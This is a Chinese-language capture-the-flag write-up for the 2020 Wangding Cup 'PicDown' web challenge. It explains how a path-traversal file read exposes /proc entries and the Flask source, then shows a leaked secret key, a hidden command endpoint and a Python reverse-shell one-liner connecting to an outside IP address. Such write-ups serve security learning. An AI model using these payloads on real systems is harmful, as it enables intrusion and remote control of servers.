网鼎杯 2020 白虎组PicDown

抓包存在任意文件读取漏洞 发现可以直接读取flag 好了本题结束

并没有!!!
通过这个读取漏洞 获得当前进程执行命令
../../../../../proc/self/cmdline

1
2
3
4
5
6
7
8
/proc/pid/cmdline  包含了用于开始进程的命令  ;
/proc/pid/cwd 包含了当前进程工作目录的一个链接 ;
/proc/pid/environ 包含了可用进程环境变量的列表 ;
/proc/pid/exe 包含了正在进程中运行的程序链接;
/proc/pid/fd/ 这个目录包含了进程打开的每一个文件的链接;
/proc/pid/mem 包含了进程在内存中的内容;
/proc/pid/stat 包含了进程的状态信息;
/proc/pid/statm 包含了进程的内存使用信息。

https://blog.csdn.net/shenhuxi_yu/article/details/79697792 讲了linux proc/pid/信息说明

这是通过python2 执行app.py文件 读取看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
return render_template('search.html')


@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"

return res


if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

no_one _know_the_manager 这边可以执行shell命令但需要匹配secret_key 但是好像拿不到secret.txt
但是这边可以通过**/proc/pid/fd/** 读取这个目录包含了进程打开的每一个文件的链接
然后/proc/self/fd/3 读取这个拿到key
m6Bw1vdzVolP2IxqgbW2e3e4uKtOXZJodwvL7ji6Oic=

211.PNG

key是正确的
传入key和shell就可以执行了但是这边没有回显很烦
python 反弹shell

1
shell=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("117.21.200.166",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

需要url编码一下 然后出现ok就可以了

1
2
3
4
5
6
7
8
import socket
s=socket.socket()
s.connect(("117.21.200.166",1234)) #连接的服务器的ip地址,端口
for i in range(10):
com=input("command:")
s.send(com.encode()) #发送信息
d=s.recv(1024) #接受数据的大小
print(d.decode(),len(d))

用这个脚本连接
运行cat/flag